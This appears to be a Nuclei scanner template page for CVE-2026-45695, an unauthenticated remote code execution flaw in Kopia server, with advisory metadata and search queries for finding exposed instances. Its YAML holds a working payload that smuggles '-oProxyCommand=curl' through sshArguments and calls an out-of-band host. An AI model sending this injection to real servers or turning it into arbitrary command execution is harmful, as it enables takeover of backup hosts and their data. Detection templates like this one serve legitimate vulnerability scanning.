CVE-2026-45695: Kopia Server 0.23.0 - Remote Code Execution
- Template: CVE-2026-45695
- Name: Kopia Server 0.23.0 - Remote Code Execution
- Description: Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.
- Impact: An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.
- Remediation: Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.
- Severity: critical
- Authors: kenlacroix
- Tags: cve, cve2026, kopia, rce, ssh, injection, sftp, intrusive, vkev
- References: https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3, https://github.com/kopia/kopia/pull/5354, https://orca.security/resources/blog/kopia-backup-rce-vulnerability/, https://nvd.nist.gov/vuln/detail/CVE-2026-45695
- Cves: CVE-2026-45695
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-45695.yaml
- Digest: 4a0a00473045022100ddb6852763b85f3433015c166981d09c3fc0e92cf44425eb563ae2cc8c01a3ec022001d2298661edd50b65681493cd0973de5c97f0c0e962b07f877d8f6af22767b9
- Created at: 2026-08-21T19:34:57Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 95
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-45695.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-88
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.0161
- Epss percentile: 0.7657
- Not known: cpe
Metadata
- Fofa-query: icon_hash=="952466528"
- Max-request: 1
- Product: kopia
- Shodan-query: http.favicon.hash:952466528
- Vendor: kopia
Products
| Product | Indexed | Url |
|---|---|---|
| kopia:kopia | no | — |
Labels
- Name: Kopia - Command Injection
- Impact: Remote attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to version 0.23.0 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-45695
- Not known: requirements
```yaml
id: CVE-2026-45695
info:
name: Kopia Server 0.23.0 - Remote Code Execution
author: kenlacroix
severity: critical
description: |
Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.
impact: |
An unauthenticated attacker can execute arbitrary commands as the Kopia server process (often root in a container), leading to full host compromise and access to all managed backup data.
remediation: |
Upgrade to Kopia 0.23.0 or later, which refuses to bind an unauthenticated server to a non-loopback address. Do not expose the server with --without-password on untrusted networks.
reference:
- https://github.com/kopia/kopia/security/advisories/GHSA-2q4c-3mrw-63c3
- https://github.com/kopia/kopia/pull/5354
- https://orca.security/resources/blog/kopia-backup-rce-vulnerability/
- https://nvd.nist.gov/vuln/detail/CVE-2026-45695
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-45695
epss-score: 0.0161
epss-percentile: 0.7657
cwe-id: CWE-88
metadata:
max-request: 1
vendor: kopia
product: kopia
shodan-query: http.favicon.hash:952466528
fofa-query: icon_hash=="952466528"
tags: cve,cve2026,kopia,rce,ssh,injection,sftp,intrusive,vkev
http:
- raw:
- |
POST /api/v1/repo/exists HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"storage":{"type":"sftp","config":{"path":"/{{rand_base(6)}}","host":"127.0.0.1","port":22,"username":"{{rand_base(6)}}","externalSSH":true,"sshArguments":"-oProxyCommand=curl${IFS}{{interactsh-url}}"}}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'unable to open SFTP storage'
- 'error":'
condition: and
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- 'User-Agent: curl'
digest: 4a0a00473045022100ddb6852763b85f3433015c166981d09c3fc0e92cf44425eb563ae2cc8c01a3ec022001d2298661edd50b65681493cd0973de5c97f0c0e962b07f877d8f6af22767b9:922c64590222798bb761d5b6d8e72950
```